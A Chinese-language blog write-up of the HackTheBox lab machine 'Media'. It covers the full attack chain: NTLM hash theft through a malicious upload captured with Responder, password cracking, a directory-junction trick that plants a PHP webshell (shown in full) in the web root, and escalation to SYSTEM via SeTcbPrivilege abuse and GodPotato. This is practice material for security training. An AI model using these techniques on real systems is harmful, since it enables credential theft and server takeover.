OSCP Media Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Media

靶场地址:

https://app.hackthebox.com/machines/718

靶场环境连接说明:

演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

突破边界(获取用户旗帜):

ntlm_thift 工具生成抓取 NET NTLM V2 文件 –> web 上传 –> responder 抓取 enox 用户 NET NTLM V2,hashcat 破解 –> 系统 enox 用户权限 –> 用户旗帜

权限提升(获取管理员旗帜):

分析网站 upload 源码 –> 创建 Windows 目录符号链接 –> 上传 webshell 至网站根目录 –> 系统服务账号权限

提权 至 system 方法一: 滥用 SeTcbPrivilege 特权(TcbElevation 工具)。

提权 至 system 方法二: 通过 FullPowers 完善服务特权(土豆工具提权)。

三、靶场攻击演示

3.1 靶场信息收集

使用 nmap 对靶机进行端口扫描。

TCP 端口扫描:

1
2
3
4
5
6
sudo nmap -p- 10.129.234.67 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3389/tcp open ms-wbt-server

UDP 端口扫描:未发现可利用的端口。

继续使用 nmap 对已开放端口的服务进行信息收集。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sudo nmap -p22,80,3389 -sCV 10.129.234.67

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: ProMotion Studio
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-10-22T08:38:36+00:00; -6s from scanner time.
| rdp-ntlm-info:
| Target_Name: MEDIA
| NetBIOS_Domain_Name: MEDIA
| NetBIOS_Computer_Name: MEDIA
| DNS_Domain_Name: MEDIA
| DNS_Computer_Name: MEDIA
| Product_Version: 10.0.20348
|_ System_Time: 2025-10-22T08:38:31+00:00
| ssl-cert: Subject: commonName=MEDIA
| Not valid before: 2025-10-21T08:28:10
|_Not valid after: 2026-04-22T08:28:10
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

由此得出结论:

系统为 Windows 环境,开放有 HTTP、RDP 和 SSH 服务。

3.2 渗透测试突破边界

3.2.1 Responder 窃取 enox 用户凭证

访问靶机 HTTP 80 服务,发现页面存在上传功能,并提示我们上传的视频将会被打开。

使用 ntlm_thift 工具生成窃取系统 NET NTLM V2 数据包文件(包含多种文件格式)。

搜索引擎检索 Windows Media Player 文件格式,选择符合该程序后缀文件上传至靶机,注意: 提前使用 responder 工具监听。

1
https://support.microsoft.com/zh-cn/topic/windows-media-player-%E6%94%AF%E6%8C%81%E7%9A%84%E6%96%87%E4%BB%B6%E7%B1%BB%E5%9E%8B-32d9998e-dc8f-af54-7ba1-e996f74375d9

1
sudo responder -I tun0

注意: 姓名和邮箱必须填写,否则不会收到返回的 NET NTLM V2 包。

将 NET NTLM V2 保存至文本,使用 hashcat 破解可得到系统 enox 用户密码。

靶机开放有 RDP 服务,通过获取的 enox 用户无法远程访问,但 SSH 可正常登录。

3.2.2 用户旗帜获取

3.3 提权获取系统最高权限

3.3.1 Window 目录符号链接滥用,获取网站服务账号权限

审阅网站上传接口源码时,发现系统会将我们上传时输入的姓、名、邮箱拼接计算出 md5,然后通过该 md5 在 C:/Windows/Tasks/Uploads/ 创建目录(以 md5 值命名),最后将我们上传的文件移动到该目录。

Windows 和 Linux 系统均存在目录符号链接,我们可提前构造姓、名、邮箱拼接的 md5 值,然后在 C:/Windows/Tasks/Uploads/ 目录创建链接到 C:\xampp\htdocs 的目录的文件夹(以构造的 md5 值命名),最后通过 web 接口上传 webshell,最终会将 webshell 写入网站根目录,进而可得到网站服务账号权限(Windows 服务账号具有特殊权限)。

任意用户对 C:/Windows/Tasks/Uploads/ 目录具有完全控制权限,意味着我们可提前创建姓、名、邮箱拼接的 md5 文件夹。

1
2
3
4
5
姓:1
名:1
邮箱:123@test.com
拼接后的 MD5:
11123@test.com -> 07b445b1cbf8577ca6a9c5539557a010

1
mklink /J C:\Windows\Tasks\Uploads\07b445b1cbf8577ca6a9c5539557a010 C:\xampp\htdocs\

上传一句话木马。

1
2
3
<?php
system($_GET["cmd"]);
?>

通过上传的一句话木马执行反弹 shell,得到系统 local service 用户权限。

1
https://www.revshells.com/

3.3.2 Windows SeTcbPrivilege 特权滥用(提权方法一)

服务账号存在 SeTcbPrivilege 特权,利用该特权可提升至系统 system 权限。

参考链接:

1
https://github.com/b4lisong/SeTcbPrivilege-Abuse

通过 msfvenom 生成反弹 shell exe,将 TcbElevation 和反弹 shell 均上传至靶机。

使用 msf handler 监听 443 端口,执行 TcbElevation 程序得到系统 system 权限。

3.3.3 完善 Windows 服务账号特权,土豆提权(提权方法二)

由于我们通过 webshell 获取了系统本地服务账号,默认该账号具有很多特殊权限,可尝试通过 FullPowers 工具恢复服务特权。

参考链接:

1
https://github.com/itm4n/FullPowers

上传工具并执行特权恢复功能,注意: 需要反弹 shell 才能恢复特权。

使用土豆工具(GodPotato)提权至系统 system。

3.3.4 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨